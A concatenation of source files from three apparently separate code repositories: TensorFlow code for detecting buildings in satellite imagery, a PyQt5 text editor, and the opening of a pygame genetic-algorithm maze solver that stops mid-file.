pos_label = np.array(tiff.imread(FILE_pos_label), dtype=np.float32) image_size = FLAGS.image_size channels = FLAGS.channels # define in the DAE15_17_32.py mid_hidden_size = FLAGS.mid_hidden_size # 0:600, 0:9000 tiny_2015 = im_2015[0:600, 0:9000, :] tiny_2017 = im_2017[0:600, 0:9000, :] tiny_label = label[0:600, 0:9000] tiny_my_label = my_label[0:600, 0:9000] tiny_pos_label = pos_label[0:600, 0:9000] dataset_len = 0 for xstart, xend in zip(range(0, tiny_2015.shape[0], 8), range(image_size, tiny_2015.shape[0], 8)): for ystart, yend in zip(range(0, tiny_2015.shape[1], 8), range(image_size, tiny_2015.shape[1], 8)): dataset_len += 1 train_x = np.zeros([dataset_len, mid_hidden_size*2]) train_y = np.zeros([dataset_len, 1]) # 1--if has building, 0-- if no building print("start building......") ids = 0 pos_len = 0 for xstart, xend in zip(range(0, tiny_2015.shape[0], 8), range(image_size, tiny_2015.shape[0], 8)): for ystart, yend in zip(range(0, tiny_2015.shape[1], 8), range(image_size, tiny_2015.shape[1], 8)): image_2015 = np.array(scale_percentile(tiny_2015[xstart:xend, ystart:yend, :]), dtype=np.float32) hidden_2015 = dae_server(image_2015) image_2017 = np.array(scale_percentile(tiny_2017[xstart:xend, ystart:yend, :]), dtype=np.float32) hidden_2017 = dae_server(image_2017) train_x[ids, 0:mid_hidden_size] = np.reshape(hidden_2015, [mid_hidden_size]) train_x[ids, mid_hidden_size:] = np.reshape(hidden_2017, [mid_hidden_size]) cur_label = tiny_label[xstart:xend, ystart:yend] cur_my_label = tiny_my_label[xstart:xend, ystart:yend] cur_pos_label = tiny_pos_label[xstart:xend, ystart:yend] if np.sum(cur_label) >= 16*16 and (np.sum(cur_my_label) >= 16*16 or np.sum(cur_pos_label) >= 16*16): train_y[ids] = 1 pos_len += 1 else: train_y[ids] = 0 ids += 1 print("train_data size is %d, positive samples are %d." % (ids, pos_len)) # 79591, 335 dataset = {"train_x": train_x, "train_y": train_y} output_file = open("/home/zyt/data/TianChi/dataset/20171030/train_data.pkl", "wb") pickle.dump(dataset, output_file) output_file.close() print("build dataset successfully!") def build_dataset_3(): FILE_2015 = '/home/zyt/data/TianChi/20171105_quarterfinals/quarterfinals_2015.tif' FILE_2017 = '/home/zyt/data/TianChi/20171105_quarterfinals/quarterfinals_2017.tif' FILE_label = '/home/zyt/data/TianChi/label/label1110.tif' im_2015 = np.array(tiff.imread(FILE_2015).transpose([1, 2, 0]), dtype=np.float32) im_2017 = np.array(tiff.imread(FILE_2017).transpose([1, 2, 0]), dtype=np.float32) label = np.array(tiff.imread(FILE_label), dtype=np.float32) image_size = FLAGS.image_size channels = FLAGS.channels # define in the DAE15_17_32.py mid_hidden_size = FLAGS.mid_hidden_size # 300:1100, 2200:8900 tiny_2015 = im_2015[300:1100, 2200:8900, :] tiny_2017 = im_2017[300:1100, 2200:8900, :] tiny_label = label[300:1100, 2200:8900] # 2500:3000, 6500:15000 tiny_2015_2 = im_2015[2500:3000, 6500:15000, :] tiny_2017_2 = im_2017[2500:3000, 6500:15000, :] tiny_label_2 = label[2500:3000, 6500:15000] dataset_len = 0 for xstart, xend in zip(range(0, tiny_2015.shape[0], 8), range(image_size, tiny_2015.shape[0], 8)): for ystart, yend in zip(range(0, tiny_2015.shape[1], 8), range(image_size, tiny_2015.shape[1], 8)): dataset_len += 1 train_x = np.zeros([dataset_len, mid_hidden_size*2]) train_y = np.zeros([dataset_len, 1]) # 1--if has building, 0-- if no building print("start building......") ids = 0 pos_len = 0 for xstart, xend in zip(range(0, tiny_2015.shape[0], 8), range(image_size, tiny_2015.shape[0], 8)): for ystart, yend in zip(range(0, tiny_2015.shape[1], 8), range(image_size, tiny_2015.shape[1], 8)): image_2015 = np.array(scale_percentile(tiny_2015[xstart:xend, ystart:yend, :]), dtype=np.float32) hidden_2015 = dae_server(image_2015) image_2017 = np.array(scale_percentile(tiny_2017[xstart:xend, ystart:yend, :]), dtype=np.float32) hidden_2017 = dae_server(image_2017) train_x[ids, 0:mid_hidden_size] = np.reshape(hidden_2015, [mid_hidden_size]) train_x[ids, mid_hidden_size:] = np.reshape(hidden_2017, [mid_hidden_size]) cur_label = tiny_label[xstart:xend, ystart:yend] if np.sum(cur_label) >= (32*32/2): train_y[ids] = 1 pos_len += 1 else: train_y[ids] = 0 ids += 1 print("train_data size is %d, positive samples are %d." % (ids, pos_len)) dataset = {"train_x": train_x, "train_y": train_y} output_file = open("/home/zyt/data/TianChi/dataset/20171110/train_data_ubuntu4.pkl", "wb") pickle.dump(dataset, output_file) output_file.close() print("build dataset successfully!") def fc_iterator(batch_size=100): input_file = open("/home/zyt/data/TianChi/dataset/20170925/train_data.pkl", "rb") train_data = pickle.load(input_file) input_file.close() train_x = train_data['train_x'] train_y = train_data['train_y'] epoch_size = len(train_x)//batch_size ids = range(epoch_size) random.shuffle(ids) for i in ids: batch_x = train_x[i*batch_size:(i+1)*batch_size] batch_y = train_y[i*batch_size:(i+1)*batch_size] yield batch_x, batch_y def fc_iterator_2(train_data, batch_size=100): train_x = train_data['train_x'] train_y = train_data['train_y'] epoch_size = len(train_x)//batch_size ids = range(epoch_size) random.shuffle(ids) for i in ids: batch_x = train_x[i*batch_size:(i+1)*batch_size] batch_y = train_y[i*batch_size:(i+1)*batch_size] yield batch_x, batch_y def whole_pic_iterator(im_2015, im_2017, label, batch_size=100): w, h, d = im_2015.shape x_ids = range(0, w-FLAGS.image_size, 16) y_ids = range(0, h-FLAGS.image_size, 16) lens = (len(x_ids)/10) * (len(y_ids)/10) print("whole_batch_len: %d" % lens) random.shuffle(x_ids) random.shuffle(y_ids) batch_len = 0 batch_x = np.zeros([batch_size, 2*FLAGS.mid_hidden_size]) batch_y = np.zeros([batch_size, 1]) for x in x_ids: for y in y_ids: cur_2015 = np.array(scale_percentile(im_2015[x:x+FLAGS.image_size, y:y+FLAGS.image_size, :]), dtype=np.float32) cur_2017 = np.array(scale_percentile(im_2017[x:x+FLAGS.image_size, y:y+FLAGS.image_size, :]), dtype=np.float32) hidden_2015 = dae_server(cur_2015) hidden_2017 = dae_server(cur_2017) batch_x[batch_len, 0:FLAGS.mid_hidden_size] = hidden_2015 batch_x[batch_len, FLAGS.mid_hidden_size:] = hidden_2017 cur_label = label[x:x+FLAGS.image_size, y:y+FLAGS.image_size] if np.sum(cur_label) >= (32*32/2): batch_y[batch_len] = 1 batch_len += 1 if batch_len >= 100: batch_len = 0 yield batch_x, batch_y batch_x = np.zeros([batch_size, 2*FLAGS.mid_hidden_size]) batch_y = np.zeros([batch_size, 1]) def whole_pic_iterator2(im_2015, im_2017, label, batch_size=64): w, h, d = im_2015.shape x_ids = range(0, w-FLAGS.image_size, 16) y_ids = range(0, h-FLAGS.image_size, 16) lens = (len(x_ids)/8) * (len(y_ids)/8) print("whole_batch_len: %d" % lens) random.shuffle(x_ids) random.shuffle(y_ids) batch_len = 0 cur_2015 = np.zeros([batch_size, FLAGS.image_size, FLAGS.image_size, 4]) cur_2017 = np.zeros([batch_size, FLAGS.image_size, FLAGS.image_size, 4]) batch_x = np.zeros([batch_size, 2*FLAGS.mid_hidden_size]) batch_y = np.zeros([batch_size, 1]) tmp_graph = tf.Graph() with tmp_graph.as_default(): ckpt = tf.train.get_checkpoint_state("/home/zyt/data/TianChi/DAE/log/log15_17_32/") saver = tf.train.import_meta_graph(ckpt.model_checkpoint_path+'.meta') with tf.Session() as sess: saver.restore(sess, ckpt.model_checkpoint_path) for x in x_ids: for y in y_ids: cur_2015[batch_len] = np.array(scale_percentile(im_2015[x:x+FLAGS.image_size, y:y+FLAGS.image_size, :]), dtype=np.float32) cur_2017[batch_len] = np.array(scale_percentile(im_2017[x:x+FLAGS.image_size, y:y+FLAGS.image_size, :]), dtype=np.float32) cur_label = label[x:x+FLAGS.image_size, y:y+FLAGS.image_size] if np.sum(cur_label) >= (32*32/2): batch_y[batch_len] = 1 batch_len += 1 if batch_len >= 64: batch_len = 0 hidden_2015 = sess.run(tf.get_default_graph().get_tensor_by_name('max_pooling2d_3/MaxPool:0'), feed_dict={'inputs:0': cur_2015}) hidden_2017 = sess.run(tf.get_default_graph().get_tensor_by_name('max_pooling2d_3/MaxPool:0'), feed_dict={'inputs:0': cur_2017}) batch_x[:, 0:FLAGS.mid_hidden_size] = np.reshape(hidden_2015, [batch_size, -1]) batch_x[:, FLAGS.mid_hidden_size:] = np.reshape(hidden_2017, [batch_size, -1]) yield batch_x, batch_y cur_2015 = np.zeros([batch_size, FLAGS.image_size, FLAGS.image_size, 4]) cur_2017 = np.zeros([batch_size, FLAGS.image_size, FLAGS.image_size, 4]) batch_x = np.zeros([batch_size, 2*FLAGS.mid_hidden_size]) batch_y = np.zeros([batch_size, 1]) def main(_): #build_dataset_3() FILE_2015 = '/home/zyt/data/TianChi/20171105_quarterfinals/quarterfinals_2015.tif' FILE_2017 = '/home/zyt/data/TianChi/20171105_quarterfinals/quarterfinals_2017.tif' FILE_label = '/home/zyt/data/TianChi/label/label1110.tif' im_2015 = np.array(tiff.imread(FILE_2015).transpose([1, 2, 0]), dtype=np.float32) im_2017 = np.array(tiff.imread(FILE_2017).transpose([1, 2, 0]), dtype=np.float32) label = np.array(tiff.imread(FILE_label), dtype=np.float32) x, y = whole_pic_iterator2(im_2015, im_2017, label) print(x.shape) print(y.shape) print(np.max(x)) print(np.max(y)) if __name__ == '__main__': tf.app.run() --- FILE SEPARATOR --- import tensorflow as tf import numpy as np import produce_data import matplotlib.pyplot as plt from PIL import Image import tifffile as tiff def train(batch_size=100, lr=0.00005, max_epochs=30): x = tf.placeholder(tf.float32, shape=[None, 4]) y = tf.placeholder(tf.float32, shape=[None, 2]) #w = tf.Variable(tf.truncated_normal(shape=(4, 2), stddev=0.5), name="weight") w1 = tf.Variable(tf.zeros(shape=[4, 10]), name="weight1") #w = tf.Variable(tf.random_uniform(shape=[4, 2], minval=-0.001, maxval=0.001), name="weight") b1 = tf.Variable(tf.zeros(shape=[10]), name="bias1") layer1 = tf.nn.sigmoid(tf.matmul(x, w1) + b1) w2 = tf.Variable(tf.zeros(shape=[10, 2]), name="weight2") b2 = tf.Variable(tf.zeros(shape=[2]), name="bias2") pred = tf.nn.softmax(tf.matmul(layer1, w2) + b2) # loss = tf.reduce_mean(tf.nn.softmax_cross_entropy_with_logits(labels=y, logits=pred)) loss = tf.reduce_mean(tf.square(y-pred)) optimizer = tf.train.GradientDescentOptimizer(lr).minimize(loss) correct = tf.equal(tf.argmax(y, 1), tf.argmax(pred, 1)) accuracy = tf.reduce_mean(tf.cast(correct, tf.float32)) init_op = tf.global_variables_initializer() train_x, train_y = produce_data.bulid_dataset(600, 800, 10450, 10650) train_x2, train_y2 = produce_data.bulid_dataset(800, 1000, 4950, 5150) train_x3, train_y3 = produce_data.bulid_dataset(1220, 1420, 8250, 8450) train_x4, train_y4 = produce_data.bulid_dataset(4250, 4450, 2000, 2200) test_x, test_y = produce_data.bulid_dataset(1000, 1500, 8000, 8500) #all_data_x, all_data_y = produce_data.bulid_dataset(0, 5106, 0, 5000) with tf.Session() as sess: sess.run(init_op) for epoch in range(max_epochs): avg_loss = 0 total_batch = len(train_x)/batch_size for i in range(total_batch): _, curloss = sess.run([optimizer, loss], feed_dict={x: train_x[i*batch_size:(i+1)*batch_size, :], y: train_y[i*batch_size:(i+1)*batch_size, :]}) avg_loss += curloss avg_loss = avg_loss/total_batch print("Epoch", epoch, ": average loss=", avg_loss) res = pred.eval({x: train_x, y: train_y}) res = np.argmax(res, axis=1) res = np.reshape(res, [200, 200]) data = np.argmax(train_y, axis=1) data = np.reshape(data, [200, 200]) fig = plt.figure() ax = fig.add_subplot(221) ax.imshow(res) ax = fig.add_subplot(222) ax.imshow(data) res_t = pred.eval({x: train_x2, y: train_y2}) res_t = np.argmax(res_t, axis=1) res_t = np.reshape(res_t, [200, 200]) data2 = np.argmax(train_y2, axis=1) data2 = np.reshape(data2, [200, 200]) ax = fig.add_subplot(223) ax.imshow(res_t) ax = fig.add_subplot(224) ax.imshow(data2) plt.show() print("Testing Accuracy: ", accuracy.eval({x: test_x, y: test_y})) """all_data_pred = pred.eval({x: all_data_x, y: all_data_y}) print("start to save image...") image = np.argmax(all_data_pred, axis=1) out_array = np.reshape(image, [5106, 5000]) out_array = np.array(out_array, dtype=np.uint8) tiff.imsave('tmp.tif', out_array) #img_out = Image.fromarray(out_array) #img_out.save("result2.tif") print("save successfully!")""" if __name__ == '__main__': train() --- FILE SEPARATOR --- from collections import defaultdict import csv import sys import cv2 from shapely.geometry import MultiPolygon, Polygon import shapely.wkt import shapely.affinity import numpy as np import tifffile as tiff import matplotlib.pyplot as plt from matplotlib import cm FILE_2015 = 'preliminary/quickbird2015.tif' FILE_2017 = 'preliminary/quickbird2017.tif' FILE_cadastral2015 = '20170907_hint/cadastral2015.tif' FILE_tinysample = '20170907_hint/tinysample.tif' im_2015 = tiff.imread(FILE_2015).transpose([1, 2, 0]) im_2017 = tiff.imread(FILE_2017).transpose([1, 2, 0]) im_tiny = tiff.imread(FILE_tinysample) im_cada = tiff.imread(FILE_cadastral2015) # im_2015.shape (5106, 15106, 4) # im_2017.shape (5106, 15106, 4) # im_tiny.shape (5106, 15106, 3) # im_cada.shape (5106, 15106) def scale_percentile(matrix): w, h, d = matrix.shape matrix = np.reshape(matrix, [w*h, d]).astype(np.float64) # Get 2nd and 98th percentile mins = np.percentile(matrix, 1, axis=0) maxs = np.percentile(matrix, 99, axis=0) lens = maxs - mins matrix = (matrix - mins[None, :]) / lens[None, :] matrix = np.reshape(matrix, [w, h, d]) matrix = matrix.clip(0, 1) return matrix fig, axes = plt.subplots(nrows=1, ncols=2, figsize=(16, 6)) p1 = plt.subplot(121) i1 = p1.imshow(scale_percentile(im_2015[100:1000, 100:1000, :3])) # plt.colorbar(i1) p2 = plt.subplot(122) i2 = p2.imshow(im_2015[100:1000, 100:1000, 3]) # plt.colorbar(i2) # plt.show() x_start = 500 x_end = 1000 y_start = 4800 y_end = 5300 plt.subplots(ncols=3, nrows=2, figsize=(16, 8)) mt = np.ma.array(np.ones((x_end-x_start, y_end-y_start)), mask=((im_tiny[x_start:x_end, y_start:y_end, 0]/np.max(im_tiny)+im_cada[x_start:x_end, y_start:y_end])==0)) p151 = plt.subplot(231) i151 = p151.imshow(im_2015[x_start:x_end, y_start:y_end, 3]) plt.colorbar(i151) p152 = plt.subplot(233) i152 = p152.imshow(im_tiny[x_start:x_end, y_start:y_end, 0]) plt.colorbar(i152) p153 = plt.subplot(232) i153 = p153.imshow(im_2015[x_start:x_end, y_start:y_end, 3]) p153.imshow(mt, cmap=cm.bwr, alpha=0.3, vmin=0, vmax=1) plt.colorbar(i153) p171 = plt.subplot(234) i171 = p171.imshow(im_2017[x_start:x_end, y_start:y_end, 3]) plt.colorbar(i171) p172 = plt.subplot(236) i172 = p172.imshow(im_cada[x_start:x_end, y_start:y_end]) plt.colorbar(i172) p173 = plt.subplot(235) i173 = p173.imshow(im_2017[x_start:x_end, y_start:y_end, 3]) p173.imshow(mt, cmap=cm.bwr, alpha=0.3, vmin=0, vmax=1) plt.colorbar(i173) plt.show() plt.show() """ plt.subplots(nrows=2, ncols=4, figsize=(16, 8)) p1 = plt.subplot(241) i1 = p1.imshow(im_2015[500:1000, 10200:10700, 0]) plt.colorbar(i1) p2 = plt.subplot(242) i2 = p2.imshow(im_2015[500:1000, 10200:10700, 1]) plt.colorbar(i2) p3 = plt.subplot(243) i3 = p3.imshow(im_2015[500:1000, 10200:10700, 2]) plt.colorbar(i3) p4 = plt.subplot(244) i4 = p4.imshow(im_2015[500:1000, 10200:10700, 3]) plt.colorbar(i4) p5 = plt.subplot(245) i5 = p5.imshow(im_2017[500:1000, 10200:10700, 0]) plt.colorbar(i5) p6 = plt.subplot(246) i6 = p6.imshow(im_2017[500:1000, 10200:10700, 1]) plt.colorbar(i6) p7 = plt.subplot(247) i7 = p7.imshow(im_2017[500:1000, 10200:10700, 2]) plt.colorbar(i7) p8 = plt.subplot(248) i8 = p8.imshow(im_2017[500:1000, 10200:10700, 3]) plt.colorbar(i8) plt.show() """
[ "/DAE17_15_32.py", "/DAE_test.py", "/convert_images_16.py", "/fc_classifier.py", "/fc_classifier_16.py", "/fc_classifier_distributed.py", "/input_data_dae.py", "/produce_data.py", "/produce_images_by_dae.py", "/regression.py", "/visualTiff.py" ]
0verwritten/text-editor
# -*- coding: utf-8 -*- # Form implementation generated from reading ui file 'mainwindow.ui' # # Created by: PyQt5 UI code generator 5.9.2 # # WARNING! All changes made in this file will be lost! from PyQt5 import QtCore, QtGui, QtWidgets class Ui_MainWindow(object): def setupUi(self, MainWindow): MainWindow.setObjectName("MainWindow") MainWindow.resize(530, 427) MainWindow.setStyleSheet("QWidget#centralwidget{background-color:#FFF;}") self.centralwidget = QtWidgets.QWidget(MainWindow) self.centralwidget.setStyleSheet("#centralwidget{margin:0;padding:0;}") self.centralwidget.setObjectName("centralwidget") self.gridLayout = QtWidgets.QGridLayout(self.centralwidget) self.gridLayout.setContentsMargins(5, 5, 5, 5) self.gridLayout.setSpacing(0) self.gridLayout.setObjectName("gridLayout") self.label = QtWidgets.QLabel(self.centralwidget) font = QtGui.QFont() font.setPointSize(11) self.label.setFont(font) self.label.setStyleSheet("color:#999;") self.label.setText("") self.label.setObjectName("label") self.gridLayout.addWidget(self.label, 1, 0, 1, 1) self.label_2 = QtWidgets.QLabel(self.centralwidget) font = QtGui.QFont() font.setFamily("Verdana") font.setPointSize(11) self.label_2.setFont(font) self.label_2.setStyleSheet("color:#999;") self.label_2.setText("") self.label_2.setAlignment(QtCore.Qt.AlignRight|QtCore.Qt.AlignTrailing|QtCore.Qt.AlignVCenter) self.label_2.setObjectName("label_2") self.gridLayout.addWidget(self.label_2, 1, 1, 1, 1) self.textBrowser = QtWidgets.QTextBrowser(self.centralwidget) self.textBrowser.setStyleSheet("") self.textBrowser.setReadOnly(False) self.textBrowser.setObjectName("textBrowser") self.gridLayout.addWidget(self.textBrowser, 0, 0, 1, 2) MainWindow.setCentralWidget(self.centralwidget) self.menubar = QtWidgets.QMenuBar(MainWindow) self.menubar.setGeometry(QtCore.QRect(0, 0, 530, 22)) self.menubar.setObjectName("menubar") self.menuFile = QtWidgets.QMenu(self.menubar) self.menuFile.setObjectName("menuFile") self.menuFont = QtWidgets.QMenu(self.menubar) self.menuFont.setObjectName("menuFont") MainWindow.setMenuBar(self.menubar) self.actionOpen = QtWidgets.QAction(MainWindow) self.actionOpen.setObjectName("actionOpen") self.actionNew = QtWidgets.QAction(MainWindow) self.actionNew.setObjectName("actionNew") self.actionSave = QtWidgets.QAction(MainWindow) self.actionSave.setObjectName("actionSave") self.actionSave_as = QtWidgets.QAction(MainWindow) self.actionSave_as.setObjectName("actionSave_as") self.actionexit = QtWidgets.QAction(MainWindow) self.actionexit.setObjectName("actionexit") self.actionChange_font_family = QtWidgets.QAction(MainWindow) self.actionChange_font_family.setObjectName("actionChange_font_family") self.actionSize = QtWidgets.QAction(MainWindow) self.actionSize.setObjectName("actionSize") self.actionColor = QtWidgets.QAction(MainWindow) self.actionColor.setObjectName("actionColor") self.actionBackground_color = QtWidgets.QAction(MainWindow) self.actionBackground_color.setObjectName("actionBackground_color") self.actionBack_Color = QtWidgets.QAction(MainWindow) self.actionBack_Color.setObjectName("actionBack_Color") self.menuFile.addAction(self.actionOpen) self.menuFile.addAction(self.actionNew) self.menuFile.addAction(self.actionSave) self.menuFile.addAction(self.actionSave_as) self.menuFile.addAction(self.actionexit) self.menuFont.addAction(self.actionChange_font_family) self.menuFont.addAction(self.actionSize) self.menuFont.addAction(self.actionColor) self.menuFont.addAction(self.actionBackground_color) self.menuFont.addAction(self.actionBack_Color) self.menubar.addAction(self.menuFile.menuAction()) self.menubar.addAction(self.menuFont.menuAction()) self.retranslateUi(MainWindow) QtCore.QMetaObject.connectSlotsByName(MainWindow) def retranslateUi(self, MainWindow): self.font_size = 13 self.font_family = ".SF NS Text" self.font_color = "#000" self.html = """<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.0//EN\" \"http://www.w3.org/TR/REC-html40/strict.dtd\">\n <html><head><meta name=\"qrichtext\" content=\"1\" /><style type=\"text/css\">\n p, li { white-space: pre-wrap; }\n </style></head><body style=\"font-weight:400; %s font-style:normal;\">\n <p style=\"-qt-paragraph-type:empty; margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;\"><br /></p></body></html>""" _translate = QtCore.QCoreApplication.translate MainWindow.setWindowTitle(_translate("MainWindow", "Untitled")) self.textBrowser.setHtml(_translate("MainWindow", """<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.0//EN\" \"http://www.w3.org/TR/REC-html40/strict.dtd\">\n <html><head><meta name=\"qrichtext\" content=\"1\" /><style type=\"text/css\">\n p, li { white-space: pre-wrap; }\n </style></head><body style=\"font-weight:400; font-style:normal;\">\n <p style=\"-qt-paragraph-type:empty; margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;\"><br /></p></body></html>""")) self.menuFile.setTitle(_translate("MainWindow", "File")) self.menuFont.setTitle(_translate("MainWindow", "Font")) self.actionOpen.setText(_translate("MainWindow", "Open")) self.actionOpen.setShortcut(_translate("MainWindow", "Ctrl+O")) self.actionNew.setText(_translate("MainWindow", "New")) self.actionNew.setShortcut(_translate("MainWindow", "Ctrl+N")) self.actionSave.setText(_translate("MainWindow", "Save")) self.actionSave.setShortcut(_translate("MainWindow", "Ctrl+S")) self.actionSave_as.setText(_translate("MainWindow", "Save as")) self.actionSave_as.setShortcut(_translate("MainWindow", "Ctrl+Shift+S")) self.actionexit.setText(_translate("MainWindow", "Exit")) self.actionexit.setShortcut(_translate("MainWindow", "Ctrl+W")) self.actionChange_font_family.setText(_translate("MainWindow", "Family")) self.actionSize.setText(_translate("MainWindow", "Size")) self.actionColor.setText(_translate("MainWindow", "Color")) self.actionBackground_color.setText(_translate("MainWindow", "Background Color")) self.actionBack_Color.setText(_translate("MainWindow", "All Text Background Color")) self.mainwindow = MainWindow --- FILE SEPARATOR --- from PyQt5 import QtWidgets, QtCore,QtGui from typing import Union from copy import copy from design import * import clipboard import sys class mywindow(QtWidgets.QMainWindow, Ui_MainWindow): def __init__(self,app): super(mywindow, self).__init__() self.setupUi(self) self.actionexit.triggered.connect(sys.exit) self.actionOpen.triggered.connect(self.openFile) self.actionSave.triggered.connect(self.save_file) self.actionSave_as.triggered.connect(self.save_file_as) self.actionSize.triggered.connect(self.change_size) self.actionChange_font_family.triggered.connect(self.change_font_family) self.actionColor.triggered.connect(self.change_color) self.actionBackground_color.triggered.connect(self.change_bgcolor) self.actionBack_Color.triggered.connect(self.change_abgcolor) self.textBrowser.cursorPositionChanged.connect(self.show_info) self.textBrowser.textChanged.connect(self.edited) self.show_info() def save_file_as(self): filename = QtWidgets.QFileDialog.getSaveFileName(self, 'Save File') print(filename) try: with open(filename[0], 'w') as f: f.write(self.textBrowser.toPlainText()) f.close() except FileNotFoundError: return 1 self.mainwindow.setWindowTitle(filename[0].split('/')[-1]) def save_file(self): try: with open(self.filenames[0], 'w') as f: f.write(self.textBrowser.toPlainText()) f.close() self.mainwindow.setWindowTitle(self.mainwindow.windowTitle()[:len(self.mainwindow.windowTitle())-9]) except: self.save_file_as() def show_info(self): self.label.setText(self.cursorr()) self.label_2.setText(self.all_info()) def all_info(self): text = self.textBrowser.toPlainText() vowels = ['а', 'е', 'и', 'і', 'о', 'у', 'я', 'ю', 'є', 'ї', 'a', 'e', 'i', 'u', 'y'] consonant = ['б', 'в', 'г', 'г', 'д', 'дь', 'ж', 'дж', 'з', 'зь', 'де', 'де', 'й', 'к', 'л', 'ль', 'м', 'н', 'н', 'п', 'р', 'рь', 'с', 'сь', 'т', 'ть', 'ф', 'X', 'ц', 'ць', 'ч', 'ш','b', 'c', 'd', 'f', 'g', 'h', 'j', 'k', 'l', 'm', 'n', 'p', 'q', 'r', 's', 't', 'v', 'w', 'x', 'y', 'z'] count_vow, count_con = [0,0] for x in text: for y in vowels: if y == x.lower(): count_vow+=1 for y in consonant: if x.lower() == y: count_con+=1 return f"Vowels {count_vow}, Consonant {count_con}, All charapters {len(text)}" def edited(self): title = self.mainwindow.windowTitle() if title[len(title)-9:] != " - Edited": self.mainwindow.setWindowTitle(title+" - Edited") def cursorr(self, *c, **kwargs): all_pos = self.textBrowser.textCursor().anchor() pos = self.textBrowser.textCursor().positionInBlock() col = self.textBrowser.textCursor().columnNumber() return f"Line {self.get_lines(self.textBrowser.toPlainText(),all_pos)}, Column {pos+1}" def get_lines(self,text, pos): original = copy(text) cur_pos = len(original) - pos text = text.split('\n') print(text) i = 0 print("### Start ###") print(pos) for x in text: if x == '': i+=1 continue if pos - len(x) <=0: i+=1 break pos -=(len(x)+1) print(pos, len(x)+1) i += 1 print(pos) print("### End ###") if text!=[''] and i==0: i+=1 return i def openFile(self): dlg = QtWidgets.QFileDialog() dlg.setFileMode(QtWidgets.QFileDialog.AnyFile) try: files = copy(self.filenames) except AttributeError: files = [] if dlg.exec_(): self.filenames = dlg.selectedFiles() if files == self.filenames: return False try: with open(self.filenames[0], 'rb') as file: try: self.textBrowser.setText(str(file.read().decode('utf-8'))) except UnicodeDecodeError: file.seek(0) text = str(file.read()) self.textBrowser.setText(text[2:len(text)-1]) self.mainwindow.setWindowTitle(self.filenames[0].split('/')[-1]) except IsADirectoryError: return self.show_info() def change_size(self): msg = QtWidgets.QMessageBox() msg.setObjectName("lay") msg.setStyleSheet("#lay{background-color:#FFF;}") self.scroll = QtWidgets.QSlider(QtCore.Qt.Horizontal) self.scroll.setFixedSize(200, 20) self.scroll.setMinimum(0) self.scroll.setMaximum(101) self.scroll.setProperty("value", self.font_size) self.scroll.sliderMoved.connect(self.__value_changed__) self.scroll.setOrientation(QtCore.Qt.Horizontal) self.labe = QtWidgets.QLabel(text=str(self.font_size)) self.labe.setStyleSheet("margin:0;padding:0;") self.labe.setAlignment(QtCore.Qt.AlignHCenter|QtCore.Qt.AlignVCenter) msg.layout().addWidget(self.labe, 0, 1) msg.layout().addWidget(self.scroll, 0, 0) msg.exec() def __value_changed__(self): self.labe.setText(str(self.scroll.value())) self.font_size = self.scroll.value() font = self.textBrowser.font() font.setPointSize(self.font_size) self.textBrowser.setFont(font) def change_font_family(self): msg = QtWidgets.QMessageBox() msg.setObjectName("lay") msg.setStyleSheet("#lay{background-color:#FFF;}") self.chose_color = QtWidgets.QFontComboBox() self.chose_color.setCurrentText(self.font_family) self.chose_color.currentIndexChanged.connect(self.__change_font__) msg.layout().addWidget(self.chose_color, 0, 0,1,0) msg.exec() def __change_font__(self): self.font_family = self.chose_color.currentText() font = self.textBrowser.font() font.setFamily(self.chose_color.currentText()) self.textBrowser.setFont(font) def change_color(self): self.color = QtWidgets.QColorDialog() self.color.currentColorChanged.connect(self.__change_font_color__) self.color.exec() def __change_font_color__(self): self.textBrowser.setTextColor(self.color.currentColor()) def change_bgcolor(self): self.color = QtWidgets.QColorDialog() self.color.currentColorChanged.connect(self.__change_bg_color__) self.color.exec() def __change_bg_color__(self): self.textBrowser.setTextBackgroundColor(self.color.currentColor()) def change_abgcolor(self): self.color = QtWidgets.QColorDialog() self.color.currentColorChanged.connect(self.__change_abg_color__) self.color.exec() def __change_abg_color__(self): self.textBrowser.setStyleSheet(f"background-color: #{self.to_hex(self.color.currentColor().getRgb())};") print(f"background-color: #{self.to_hex(self.color.currentColor().getRgb())};") def to_hex(self, color): res = [] color = list(color) for x in range(0,3): res.append("") while color[x]/16 > 0: y = color[x]%16 color[x] //=16 if y == 10: y="A" elif y == 11: y="B" elif y == 12: y="C" elif y == 13: y="D" elif y == 14: y="E" elif y == 15: y="F" res[x]+=str(y) res[x] = res[x][::-1] return f"{res[0]}{res[1]}{res[2]}" app = QtWidgets.QApplication([]) application = mywindow(app) application.show() sys.exit(app.exec())
[ "/design.py", "/main.py" ]
0x15F9/Maze-Solver-GA-
import pygame from pygame.sprite import Sprite class Actor(Sprite): def __init__(self, screen, settings, pos, image_path="assets/alive.bmp"): super().__init__() self.screen = screen self.settings = settings self.image = pygame.image.load(image_path) self.rect = self.image.get_rect() self.x , self.y = pos self.rect.x = self.x self.rect.y = self.y def get_pos(self): """ Returns the position as a tuple """ return (self.x, self.y) def display(self): self.screen.blit(self.image, self.rect) --- FILE SEPARATOR --- import pygame class Minautor: """ Minautor will be the "destination" point of the genomes/Theseus """ def __init__(self, screen, settings): """ Initialize the Minautor's parameters """ self.screen = screen self.settings = settings self.color = [0, 0, 255] self.radius = 100 self.stroke = 2 self.x = settings.screen_width // 2 self.y = self.radius + 10 def get_pos(self): """ Returns the position as a tuple """ return (self.x, self.y) def update(self): pygame.draw.circle(self.screen, self.color, self.get_pos(), self.radius, self.stroke) --- FILE SEPARATOR --- import pygame from pygame.sprite import Sprite from random import choice import math class Theseus(Sprite): """ Since Theseus killed the Minautor in its maze, the Genomes will be known as Theuseus """ def __init__(self, screen, settings, destination): """ Initialize Theseus' parameters """ super().__init__() self.screen = screen self.settings = settings self.destination= destination self.is_dead = False self.has_reached= False self.is_considered = True self.num_steps = 0 self.radius = 5 self.color = [255, 255, 255] self.x = settings.screen_width // 2 self.y = settings.boundary['bottom'] - self.radius * 10 self.brain = [] def get_pos(self): """ Returns the position as a tuple """ return (self.x, self.y) def update_pos(self): """ Updates Theseus' coordinates """ dir_x = choice([-1, 0, 1]) dir_y = choice([-1, 0, 1]) dx = choice(range(5, 10)) # Horizontal Velocity dy = choice(range(5, 10)) # Vertical Velocity self.x += dx * dir_x self.y += dy * dir_y self.brain.append((dx, dir_x, dy, dir_y)) def check_reached(self): """ Checks if 